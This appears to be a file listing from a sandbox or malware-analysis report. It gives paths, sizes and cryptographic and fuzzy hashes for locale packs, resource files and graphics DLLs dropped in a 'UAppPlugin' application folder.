SHA512 84a51f291d75b2d60849edbc1958a50cfe2ac288ce716bf4827038b47bd855a65d04ebcef6f92d78e31a27daa63f07772149798740652078e27ec68930ec07dc
SSDEEP 3072:Y1yZNTtAaCcg4H65rKoMVhoVFBL8lmoT69Q1H7O/RjbNO5ufzwXi3Sk75CU/XlH7:72ZcgNoF0O5hXi3Sk75CU/XdFtXfjt+O
TLSH
T1EEE3FA238FC93B7644D3220EB741C217E48DAA847A16D2D4F9AF071613C8EDCD677A96
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cs.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\cs.pak
Size 143KB
SHA256 c06ac5459d735f7ac7ed352d9f100c17749fa2a277af69c25e7afe0b6954d3c0
MD5 df23addc3559428776232b1769bf505e
SHA1 04c45a59b1c7dce4cfabbac1982a0c701f93eed0
SHA512 fceca397dfc8a3a696a1ba302214ab4c9be910e0d94c5f8824b712ec08ff9491c994f0e6cfa9e8f5516d98c2c539fa141571640b490c8dd28b3a334b0449bdd8
SSDEEP 3072:7YpZ+KPzo3zO1J+17fbYR12ly9g+5X/F/0L8QGF1:M/+PzOvL2ly1F/O8QC
TLSH
T180E34B1EDFA764298940020877BE52286D2F87840B1F94FB6C8F99853636B7D8EF4D5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

da.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\da.pak
Size 130KB
SHA256 4a6d9fed78caed7d524beb7d4220aedf0ac816f7d39b949c2a5e15fc5055ddb5
MD5 629c31a1c897be4c7fd86165e7c839b9
SHA1 1f5738dc47efb2c04dc18083570305f55c5ab8ae
SHA512 268d0c1b57d5a6bb4f3b92c0139a5bd73c8181fccb4c6f2c4061f7e964ead96b15301e01872fb5bf6a1cd72cac5b2141a08fe884320b9877743a329c5916b894
SSDEEP 1536:dAZ55m32HLBOCnjaMRqg5vszOnkW+5CGsTkdRWwS4g8pOmPEgGjZJzlH:qo328CjaMRZszOnX+5ETkdRWwIGYZJx
TLSH
T15DD33B87CC9D372E89BA4715F2218D6BDF5E503DD581624F75C8813A1AC7EB082BE2C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

de.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\de.pak
Size 139KB
SHA256 a3bf95f86d998f53e98a4d3e8245084a3b7ad2b7beaf941eb923fa9247e18da9
MD5 e318898271cc2f8d5ec460813e7cfb1f
SHA1 c779c348e373b8c5183a022e8e3c04354ee1ff6a
SHA512 42190dc5abbd58ecee6f86a6563ee26e944a73d566de4714b2761b2529e762c0080e065cd2277d9925a9114e4cb5044379c442dfaae302e285c790d4ee214505
SSDEEP 1536:efEJJ3ontW9XgchYr53Y5n8teqtkKt3J3mivetAOhXmo8OXANGq1N4b7b49Ztsql:ef+ItWj63Yp8tDgA2MN5N4hlOgxjT+
TLSH
T190E319039DDF154E8797A3513301CEBB3B1DE36BC342325A949AD127674BAB382AC536
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

el.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\el.pak
Size 249KB
SHA256 82b3fbbdc73f76eaea8595f8587651e12a5f5f73f27badbc7283af9b7072818c
MD5 7dca85c1719f09ec9b823d3dd33f855e
SHA1 4812cb8d5d5081fcc79dbde686964d364bc1627e
SHA512 8cb43c80654120c59da83efb5b939f762df4d55f4e33a407d1be08e885f3a19527ed0078ab512077604eb73c9c744c86ec1a3373b95d7598bf3835ad9f929d67
SSDEEP 6144:ALKSCi5b9F/kDuKxYxbt5I6ROl3+pSb3//zFMeF+fx2hlA66rOw5YlXSWzG:VSCi5b9F/kDuKxYxbt5I6ROl3+pSb3/k
TLSH
T1CB44BCEFB1592DED8046940785D8F07C67C62D6CE749CBD8622DCB60BDF80619A22E1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

en-GB.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\en-GB.pak
Size 115KB
SHA256 5556522a930a7e38fce786ac828afc1f2151e91fcfcd3d07adbe5ac2521a2043
MD5 6d56d0f83ebbf06b593e787f30db0b5d
SHA1 e644e54d945177847b1c6e1f3a73b17f79c93ec9
SHA512 10eddba2307f978d44bb83bc9064edd73b45a50b1bce382f667efd29b6f4a35d517b41b0cbc887a514289f70526fcdf55ba8a3e389280c6df45c0f6526d150d8
SSDEEP 3072:89xoUaduOmjQK6rCfBNgizJdLIeqij3ggl+1j:8L+EerAVc
TLSH
T18EB33C1FE7C8122A06930262B6067266BF27D07CA35212667C6D816C33F3BE583777D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

en-US.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\en-US.pak
Size 115KB
SHA256 4221cf9bae4ebea0edc1b0872c24ec708492d4fe13f051d1f806a77fe84ca94d
MD5 f982582f05ea5adf95d9258aa99c2aa5
SHA1 2f3168b09d812c6b9b6defc54390b7a833009abf
SHA512 75636f4d6aa1bcf0a573a061a55077106fbde059e293d095557cddfe73522aa5f55fe55a48158bf2cfc74e9edb74cae776369a8ac9123dc6f1f6afa805d0cc78
SSDEEP 3072:M/WTHfDS2harrWBNgmHJztK3IF3ggl+Scwh:M/WTHmrRYQwh
TLSH
T135C34D1BA7C8122A069302637A056262BF36D0AD939252567C7DC16C33F3BF5C277BD6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es-419.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\es-419.pak
Size 139KB
SHA256 dafa8d0e43ed158dd075651522263a3188074d87b9b36e765458a360f6874c8c
MD5 cab63fe20a6b09aacfc4773ab79430ab
SHA1 6633333ee69eaf14dad338298000617968acb514
SHA512 e07311f0625ebc461595378eaa8ecb2ca35fa871c8020c56c1febd1a14bf64146d87b597d02f3a80e3124fef2d0667020a74dcc898dc9adf2fae091cdcf1fb72
SSDEEP 1536:ikyj3w1zknU+hpQ5jRbxZrphXu6JZydaXGQa7K4VdMBPcHYKCOKfKRHe0JWFsMH6:vkU6p8lLlhXuppVvMowA
TLSH
T199D31726AEC81F5240D39388B783D717E5C4A185B409C2DBE9AB426563CCF9CC977ED2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\es.pak
Size 140KB
SHA256 48c8374dfb04065624ccf352f84d0904694e963c71083b204527fa7f356007a1
MD5 ef5b2ae7ff68db831f81a3aea5cfbe66
SHA1 a2567b8df430acdce0ae6a8562848f13169a4ff2
SHA512 e95c7ce2519703a82ebfeb25016d9ea4e151caab0736e293e13091bc3a092ba14fc7158a87be60b22ffc6a2897e5739f5cea14b98cec3e0895a79e62c3702848
SSDEEP 1536:2NXvFXfumLFdzi1wwZ72Pzm6jv4dYVYefJIFj/xh3viGTcHqVgFW9XlhBoVK1ixQ:IYmp1i1wwZ7+ROefc7Uwix6PZ41Y
TLSH
T142E307269ACC0F6350D39284B383D757E5C8A585B408D2DBE8AB876612CCF9CC977ED1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

et.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\et.pak
Size 126KB
SHA256 f2f66a74b2606565365319511d3c40b6accdde43a0af976f8b6ac12e2d92ec9f
MD5 339133a26a28ae136171145ba38d9075
SHA1 60c40c6c52effb96a3eb85d30fadc4e0a65518a6
SHA512 d7dd2a1c51a7144f1fe25336460d62622c2503aa64658063edcb95f50d97d65d538ce4e8ae986af25f6f7882f6f6578bfb367c201e22da2abdd149c0bb4194c1
SSDEEP 1536:9orT9oP+VdcW9DymW643Rryh1oyg9jiuKMPiuLECxZQZwsPQ0ju:9g+G7cW4mW643Jxj3rxL5ZuPQ0q
TLSH
T11CC33B42A07E771B687011F49337AA27CC4FE689B5010D927C56861672EEFEC78B1B74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fa.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\fa.pak
Size 199KB
SHA256 2ea92daef1f7c1c6b2b869e2cab7a36cc7b6dbad26ce2477eabdcf116029f069
MD5 286513093a02fde9d90aa5bd6ad9e6cf
SHA1 2203a29c221275e0a01a9ddbb2cefe4f2fb22671
SHA512 db93b08e9d7162f1e98133650f9a65b85b5072586bf9f8b9b9a14fe54c372a50d7cac6556dff451ecb848178f39f25b2f54fb65538a8736b06b00771b26fc128
SSDEEP 6144:17RXt4RaAa88Q6NS9/W2ESEm/ovV2XhmN4o6XBmhdBfOpfVKb8YIO/ECuTgjD8jl:1tXt4RaAa88Q6NS9/W2ESEm/ovV2XhmI
TLSH
T16914E2D53ABC9AB15752CA0341E23438C773AE12D349FE40FCA107665DA5B139B4EA3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fi.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\fi.pak
Size 129KB
SHA256 370164e61142d8609d176ec0cc650540c526156009070563f456bcdb104e9c0f
MD5 aceed6757e21991632b063a7fe99c63c
SHA1 491b4aa5eaeb93e662f720c721736e892b9117e5
SHA512 664c369e74930a61a8c9ccee37321c6610ffdeba8e4e8a5d4f9444d530097b0f4556e7b369dfd55323fe7df70b517c84ae9d62a89c1984a8cf56bae92d3e0455
SSDEEP 3072:KTDM6BJkRQxRcMfOAZZTUqyUEvU2yjZEE218vWURl/HR2j8bR+UhSjNM1OACX1hl:6ngj+2lE218vWURxcj5NnX1hwef
TLSH
T146D34CD2465AC22237C0C14E6DA0D03AF9E9B29D9C558895F943C6D807EB9C83D72B6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fil.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\fil.pak
Size 144KB
SHA256 945c0160938c3bcecda6659a411b33cd55dfac18814bed88575bfd100c53d42e
MD5 cb9fb6bc0e1ec2cb3a0c1f9c2dfbc856
SHA1 c3b5900a38354ea00b63622bb9044ffb4788723b
SHA512 6ed77d0fbbb1186ccb7493708f55f8a2c3005a1f1da759c16289713a853bcad4a2cc4846874d67f722f461b1950a763508a91a7970bc0eb5da686206aaa8489b
SSDEEP 3072:N4uI0cHX9ooz8MDwGgbKIAaCz66/4pSe5:QRyooMiACB5
TLSH
T1A2E3E810A7802748DBC356E51350A91F6BE230B83F822CAE5FBF26572BA7DD4D2705C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fr.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\fr.pak
Size 149KB
SHA256 6e2592a5e926b8853a596bc42d5605b2ac47b377ddec09670b0689bc01458f0d
MD5 50d569157b5ff0e2f34f99405935423a
SHA1 03656027a36224e44ec9063e1a1f04e71f481aa9
SHA512 ff00914817ea2c435079ec8c9078087a651a4a57e956313df7e9cc9cd88b172f0538a5416cfe716fd81697bbd0735807e37f73570bb1f40a98b554d2e63881c4
SSDEEP 3072:lDRKgF5t3JTI3LbEKdG2Hr+6y9Z85NtGAXLYpSKnRHDEhMaIzKByroFDuFcVRSpo:l35VJTI3LgEG2Hr+6y9Z85NtGGLYprRy
TLSH
T170E3094FDAC4368A19C242B3BB12D263DD348248F212D344D99E42D61797DECD3AF6E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gu.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\gu.pak
Size 282KB
SHA256 cd761009ecbd4736b24383f020da05d2e6b9396c67a7ec1f4ac1966943cf9eab
MD5 af5cc703c77e1a4b27233deb73c6ace8
SHA1 ea92dce379ec9405fd84274566d363ce302d7f1d
SHA512 dd379cbab7a6fdce05b0ff34d339c2f3320f83f76d8e1fb7ebf20edcfebe541ae454490eeb83d8edc069aaf3db52d6b7de6d701672a13e75dfe59840e8f2c5df
SSDEEP 3072:6bnPhzx39v+O0lT1A626EPqP8M388CMrPCK35YdO3C36SoYimPVOyVWqTPgrmd/t:eHVOYFf
TLSH
T1DA5427D0D7B9F03119DAAB7E815E512086695343D67E230051CEEE898801DDF3EFEA9B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

he.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\he.pak
Size 174KB
SHA256 2514e3aabf76735d0048f97db3ec4a43091a4be475673e50d20110b5bd340637
MD5 02a008b2d3868b2c399b17e8104475a7
SHA1 da95c6b7573795301c6aca7240ada9158d3111c3
SHA512 228a6e77f1984ba952d9aea43f2d5160a1aa1c565754fca6027cdb5af32fd3a4e90eb215146f8d3fa25db6172c164706c07a2cf6600a4300196f405a10a3b80a
SSDEEP 3072:YgldnFGmfC+WxgbllqMyX95E1E3XTnw6ImgMxQZ:XdFGmfCwbllqMyX95E1oXTnw6ImgMxQZ
TLSH
T11204FDC4A6E852255131AAC38FA4FA395FF3CAB53CA23511CB18526CAD774F0BD530B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hi.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\hi.pak
Size 292KB
SHA256 14d5f73af6780c66c3505496e5d74dc0473dda82932d1ebfebb5cfd9db00ed05
MD5 568b2d6201509ee58f270e4593b67b45
SHA1 2aa9087bc668723b3ae2d00adb4851790952097e
SHA512 e85544009c98316e61b33957a61064697413f625c0d38331a13782b29d3d4f6a33b2c8d28615b8ae4a3bd6cab2dc3a5a1fe44bd8725c6dd563902b4429340d40
SSDEEP 3072:HkOeP//mxtnqzwakcwfKSYh2s3cwEVhYWVLAogCO/S/Ffm9NLahPzRvTHIf+ovao:wP/GLRy3
TLSH
T14D543B0CEB7EF3B55DEC7C8A36490D3BD5AD3670A3E5522348D5B3EB9444CB4046A2A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hr.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\hr.pak
Size 137KB
SHA256 3d01f9d2c51efa0c0d8d720dd832493b1b87d2429970396c42cee2199e7bef40
MD5 209efaa890532ddbb1673852e42ded7e
SHA1 8e9a3e643183d4cbdfad9fd2a116e749b5313a95
SHA512 5410b31ab46ccfd29b750f39d3796a533ec0c0a7b7b31b70977f59f348dd4190edc00c86db8d5b73df2117f27fd283de2057493c081cef69d04ad9894eb5c05b
SSDEEP 3072:Kx0LpBWR8sKsAGCm+VdljWNqcUlEdp94LnMUpEP1yMMoPa7ayvWlx9s:KAyC6qdl
TLSH
T1B4D33A7CBAF26B0A0D97A245DF92C35539FE049CF56986FB784F522E0143F1C26B8219
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hu.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\hu.pak
Size 149KB
SHA256 6edcdaf17483c4b7b74d9c728c3f38d9e4704bfbdb618b578c7ccb6bbe6e824f
MD5 7317adfcba87621963e9cb2f44600e2f
SHA1 0398d795f9a3cde03ae85e8cd2c4723e7ef5f7e4
SHA512 e8ec0df2ddf67799194e8d3f722b5643553fb05026bd5f8d933d1cc18df6a641eb1b810e22114b44513b57a005d326b91a1fcf1c470a636cd42c5bc5fa0f254f
SSDEEP 3072:eLqPnCMNxIRZk/3gIHmnRjiGhoDotUGnCdAtRdpEsLY5M3ICm:+6NWRQ3QZiGLUGnjRdpER63ICm
TLSH
T19AE35C7743FA9489B8690743B4647B154A1F480BAF3B25FB3987C46D31A1BC90D93C9E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

id.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\id.pak
Size 124KB
SHA256 1610026ae2f5c8a8afa344e2917d36b02908332d8b32004acfa34f84bb1032c8
MD5 75def6657bb1fbb92750526692d91665
SHA1 bf2fa246c697a554d6dd2d19a6fbd3d76f1bb2fa
SHA512 659750fe8c64bd5569d91d24af4a0daab0c7aaad5e273b0c224d7d3981b97199cc94c2813b9e733c75a97eb1c5bc72a1de8a74a8c37d40e4ef77cde7786f3280
SSDEEP 3072:7uY0j9ZZpzS95KW68e0sSx8WsAzaZts3cCEw:7uY0jxpuvtwSlsEac
TLSH
T170C3E8525ECD320C194802D5A2D5A62F7CCE233BAF05776E9E74CF7066A27782726BD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

it.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\it.pak
Size 138KB
SHA256 75b37965b88933ba32119ebdd13cb98c54300b1e1e312080947eed6a94fc70b0
MD5 23d70fc1cc74275719c4f882400150e1
SHA1 e8235d0bd4dbfbd708deb80139f0acb1cc0fbdef
SHA512 ca9a6fc273d5b0b656e902fb87f8792de604a3b6ce598dc577d08541ce9f35256849b1503f15edbe5d1e1d5785cffc38ed12650d1d026aa23b5ce6f9c3ac4cb4
SSDEEP 3072:hzB8XN5Sv35T3gUYTEKDoLxZ1yN4tA7kxAjidOp7kPMHe80Ru8:7MYv35T3gUYTBcLxfyN4tA7kxAji1E+f
TLSH
T1DAD33C36A9C625156D875369D211F091FBAFF8CDFE063118958B430C23CFE94A1BCB9A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ja.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\ja.pak
Size 164KB
SHA256 a1b2fc883d725321a4775313f0cefd08833c20e2f3c4a612e7a3da3fa67c68a7
MD5 54d483132c7df834d29b59c59472eec3
SHA1 486503c8f39b881bd4340c1084c12c46db1c4f80
SHA512 a86e997a81c15bf591e98181308428aa40a34bc87b7dcc6892ba6cbfe591448bd65bb7245ee779e22dd7fd2293656eddd211f4968c5d8818b96da8b0edc707b3
SSDEEP 1536:/Uk4yeqhM98rU4jy+d4thibF9M8IpB46+eyOsg+Ft+nFUNjyNLAVK:cSaurU40thibF9M8CRZiFt+FijyNLAVK
TLSH
T117F360BCE3C965265C6183A22C0E76D5750AAC5FECA33636543DC031BAB0BCEE515AF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kn.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\kn.pak
Size 319KB
SHA256 253024d2de862d76ade128d6ff2916022391ec0e60d4854a8f8f04c041ced815
MD5 48b42841793ed7f5b31eae0b14266c96
SHA1 0b0354dc742c32afaa87c6d603efb4d80afae656
SHA512 0c18078955a5fe9b74cdac87a0e24ac257d8c9f6dff2b3af280a22589e0b971c5cc4ad0d37b5dd2404b2de5857bffc18f8785549fcc8331065ff0f72a2601633
SSDEEP 6144:cSs3wIB2gRlqEgknaw6T+PDu6m1TSX4AzEr7JQO6Oy2:cS8pRldQ+8/Of2
TLSH
T10F64CE186D7A7D302BD6006B28EC603EDFF16BD29CA947D2F4DDD7402C66C6A90829DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ko.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\ko.pak
Size 138KB
SHA256 51a1924fb1c75d27ca522777078c92e64b1dc4c37da8c7ea4ed7732507caafaf
MD5 9e9fcbb852b3e3b9b629d8b1cdac5410
SHA1 ab3f6341078bc741a6e3c28514e6e6adac428ac2
SHA512 2dcb5c61dbf89cacc389e34af0668ffb5e23f6175aae7f0655fce3fa87d508d11c5577f76231727a3f157163076a6e1971c2695b795246be2b6e22ac726a3785
SSDEEP 3072:P3aY7nJcQ4G+othXoAgWCYeHw0pFSCukpHTegNMq7Hh1I/4KiWgx7D7/xRAmxJT1:yY7JQGbt4Sq7Hh1qydSwx5
TLSH
T12DD3D9F238DB27CC1253D982ABF4FA294382E577B7430294FD44CE549E106D7458AABE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lt.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\lt.pak
Size 151KB
SHA256 dca1c6490684f5d4267856e3b79f4097292406d77b68151dd5b3fb7349334248
MD5 e31b01a9b1db20a6dc19ab87a5f16b1c
SHA1 eb3e0bbaee8640aa57912469e62d6a8925852b8e
SHA512 db0c0db692c7aafda53fb29c411ca8badf0752121b41edd78cbcd0b68fd9e34a3764e79f85d09e93ccd5eb1070f87efcc387f813a33313522dee93002616fb67
SSDEEP 3072:8dGKiNFJ1BDyyUab3L6fbX9A8Z2I76S1a5nJ:DK0J10Pab3efbX9Aw2I76S6
TLSH
T12CE34C015AD3EEEBAA0053CA81E0CE74CFBE50006626A992BC5EC39BC5B7F552574F35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lv.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\lv.pak
Size 149KB
SHA256 026e6a4ea0fd11c07375f0532a0756bffef585889a71f33243a116c462b0c684
MD5 28eeee40b2722e1cc42905c70367fbdb
SHA1 fd82465b1522d314b295207934a7641b3d257d66
SHA512 a99d203ce67a3e5d4f831064f83c730b045fb1eba47ca804ce6c407e04240f4c51b4114446c3494e2985a1109695533d1b1c5c7594a5555276be366c07d0b855
SSDEEP 3072:pvij24mCJrjE7+Gv9A9kz7dyIs8i5ijAoDfZ18:pvij24mCJ07V9AS7dyIBkijAobZ18
TLSH
T14AE35BA18EC68F9A4E806DCA7336D133A9CCD700BE02D117ED7D4B36635F5252176AE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ml.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\ml.pak
Size 337KB
SHA256 2f01cd4e5b54a6e8edf1db534330b0e448cc9963751eece7657e1207d5ccb337
MD5 35acbf7332ebd612b7ba61f9a8a0d38c
SHA1 e7a815c530ce7e68d04cf67a29e38bc73b7d0a13
SHA512 a6070982f17e7bffbce08692450f10b8e0dcbcf272f2c98f0c2be6ca807837c8b80e86905e7f9db63a9130f70c920683aa29422503a1b4650fc68e412ccf2d2c
SSDEEP 1536:ukvjrC/9IpFlYBkPQ4z6NWdWMQTW1fp3uV:uk7W/y7PQE6NWdWZTaB3uV
TLSH
T1B174AC4BA035CD3B0FD102257B4E2FABDD5B8FA140AF668B5869F2628C59F7D0C99431
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mr.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\mr.pak
Size 278KB
SHA256 d2bd79a050ad7d7c3734d3ce93df42c0c61219fe30de5978b7eac6c1d693d89c
MD5 8bef61e9e014b6c6f46c4a6612e2ce88
SHA1 0dd8a404c7d535119df140d8e7bf1f3d8abf2c35
SHA512 48cdb0f2a6a95e269fd88359873a5db79c6f223e1b07931b4858cce10910af3a700baf4aaf5602c5e9a4a88a906a579cbaf75a709700aff96e7736adafda18ad
SSDEEP 3072:0y9EzAbBeMD6D/Wcq02RCnXaIuc7n3SZhZ9a3MxeFlWSLQMDdjB3rhPXyYH6x4VK:0yzCnBy
TLSH
T13B54E44CFB7EF3685DECB89A36584D3BD9FD31B1C3E9425608E1B3A74884CB005596A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ms.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\ms.pak
Size 128KB
SHA256 6240e885116732ae850542cab40c80950bf83171c17a84bf02d7df9b1a2a98a4
MD5 bff5ea1dbedfab0da766909c2b0beed3
SHA1 9ab6989c47ab4cea0d620fe70bba5c1e15a58a51
SHA512 8bc32f7bade04932b51a2bc4e8d5d609d379a157accca63e43977a19f2604e87ba754bf545651a1237c74e05577f36d85e53d20fa1da41e7967e8ef8a657464d
SSDEEP 1536:kvCULU6TUyT4CEiix3xDEr+9eX2jBS9ssQQPYOY9vSi3765/3+8u8Jyu:gTTp4CEiO3xDE3X2jBSaj36o8u8Jyu
TLSH
T1B1D3D8025EDD3258145843C9D2D96A2B3CDD3333B705AB6B9DA08FB017AA7B53326F49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\nb.pak
Size 126KB
SHA256 66ba5ee544c9a18377765b08a537c5dffe5c31e5278550e8df9898273c7c7bf6
MD5 1a60f79dc6a5d8d8c943f39185523347
SHA1 3544973805298dc8041a069779f452a6a64c7831
SHA512 2f42b905f46380be36e0bd9b3ba30e51242b058ab8003c07f8f6b4d474c1543925e73075202e6b908766f37060bb6d76fe67e626b70a8029fc97f16b5049207e
SSDEEP 1536:KL89YszAaG7FYenTKG4I8F/iXbuzqF6I9Im8VUvCAepd9nNMR0b:aCEienGxI8yuzqF6I9IwCnp/nNsW
TLSH
T18EC32A83DD8AB72AF6A54364F029951B8B7E542CDD98598BB8C8C13B1EC3EF0517E1C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nl.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\nl.pak
Size 131KB
SHA256 91e91514900d43a521155f480baa3fb02800e14bbb4f35e0622dc5d721dda308
MD5 2f85d41c7c19fe5a224c197074d1637d
SHA1 e46a61796edd755abd39857f670896c81c59c8b1
SHA512 76df1405d28ce385e55d90c9797ac3f216dee7b333343a5d5796da98086ceebe92c059bc3803091901a0d2a481a495e6752f0e6d24cb2660efaf970272813b4d
SSDEEP 3072:ibgrDFYD5L3OUDjhJkkmP0l/gHkIINejANTie85XoknV:oOimmbjOnV
TLSH
T1B8D30A03BCCE6A3E19C1A349B6004BABBF1F922CC25DE5FD94CDD1751643FA841AD986
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pl.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\locales\pl.pak
Size 144KB
SHA256 ed8d75a03e2ab6378e1f0404efebc6754710c4e641fecf6d9714db8cc14e3dd8
MD5 1bc6f913753b1ed589a2f23ec7417fc2
SHA1 7e8e0ae98c4c786cc02aab052425203bc2ecf8ff
SHA512 d10cd59fb8198b17ef4fe2c3a79eb825f336aff69430bd9057200eb777dfd3db29d76d1e045e80ecc7f8b5718181b15deab825a40508c39e2b187667a297f888
SSDEEP 1536:3rlENfDMK34ZOURMa8or/1QatCDBjzAzN3OOAYd4KNsNYiiUHYAUfpnyLA:b2NfDM0COw1QajN3z4NYiiUHYAUfBt
TLSH
T1C1E37D0D46E59E4E8EF005D6E2D35F7DACCEC84CF209829FE45F4036625B26D897DA88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\resources.pak
Size 4.9MB
SHA256 2e1fbd837317ed7cdff0d1e20df259e72314bd7bacafd434942caa72f3104eda
MD5 a7307fb7aac4a309eef38cc1f9b1858d
SHA1 5b8206f865391f481bf5acf34c4e6f7c80d86ad6
SHA512 a02b3f9ff5f5d8aabd5f995b7f00ab86ad8881a87289377dc9acb1dd12ec75924fda93062129b949feda4e32efb98a65a6cd8dccbe91c447dc8746060b929174
SSDEEP 98304:GImTwJ65lulxtvH361Zl3oP3Lh1za8OlpSerwrAP5WDj6WzOvKIowBL:G7Ty65mxtvXn3Lhla5p/krAWnIow1
TLSH
T1E4363385B3029D37C5C583B6C9A51132252BEB831AD1B84AB4CD723D8FB55FA09A13FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\v8_context_snapshot.bin
Size 713KB
SHA256 4fd22738194e793962ca24ef2e47e26916674515a558b0152f662e7dd351ed65
MD5 6a8d54fb285210c65f681cfd1282b4fd
SHA1 2a38c1a61672f70b29f08e8a18beb9f6647493a6
SHA512 14810fee41d192832182101ad25fd0f1b3cfd44be0018cd9ed92c2188e71606f391f61357c4b231ca86dbc467e0bc3ef705a10f0dff7669a7462743e8e0725f0
SSDEEP 6144:f3mjYP+JwKjYYIUd7Is1cC9ZfTRL9L0g1j6sZXVUDRWXOuF/o:4Y6YYVxcsZXqEXRFQ
TLSH
T181F4E739F706DA67EA275EFE4CDA88183273F5092793065F71668A6E30DB7181CB12D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\vk_swiftshader.dll
Size 4.5MB
SHA256 97fec772ec0b2e5c2efafaca3a85bdabddb39ad70646a21786a2c47d1133d509
MD5 9ad54ab6c9d17afddbd9a64e9bca34fc
SHA1 45fa73af18bb18b14d4857cd20a8891258c0088c
SHA512 9fe88268f9e3fffd495da51a5762dcd46d695f8c2a7a08c5d5296356ad925e1ed34d7b9f5d4138050b08bc9763cdb4b8b7dfb25d8cf52ce7fddf3290d7be50f0
SSDEEP 49152:5gl5iPlBIO/YKuBliOuqRgxmSR1x7+pL9M44d7S66zAPF/W7z03pfCt8MPbCo8sk:eyJ/mm4zcmuPrGOv
TLSH
T1F8264903F6958099F05DD57D8B4BA622E672BC801B72B6EF52A02F152E37BE05B3C705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader_icd.json

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\vk_swiftshader_icd.json
Size 106B
SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
MD5 8642dd3a87e2de6e991fae08458e302b
SHA1 9c06735c31cec00600fd763a92f8112d085bd12a
SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f
TLSH
T1A6B01211430088B36062AF3C41811F468765411C36020D491040540E83BBDB6A102394
MD5 SHA1 SHA512 TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Roaming\UAppPlugin\vulkan-1.dll
Size 854KB
SHA256 7f0b178b7cbb0f5cf2e41e766bc1610b9ed98d71e076a59fa3871cad8789ad5d
MD5 c77d3d0f5972fb1e285b5477fea15b01
SHA1 5ea4d90d8f3c3f83d258ca57a243c4c54db93661
SHA512 ce489bca7dfe4c5c659dcb8f8ff1eff0b4eab512e7dd9023c11a9c762216d058696344e1ccb2eac7a4ebe5b830d6cbf2f8533de5b3f228b3d9590e5a49794a23
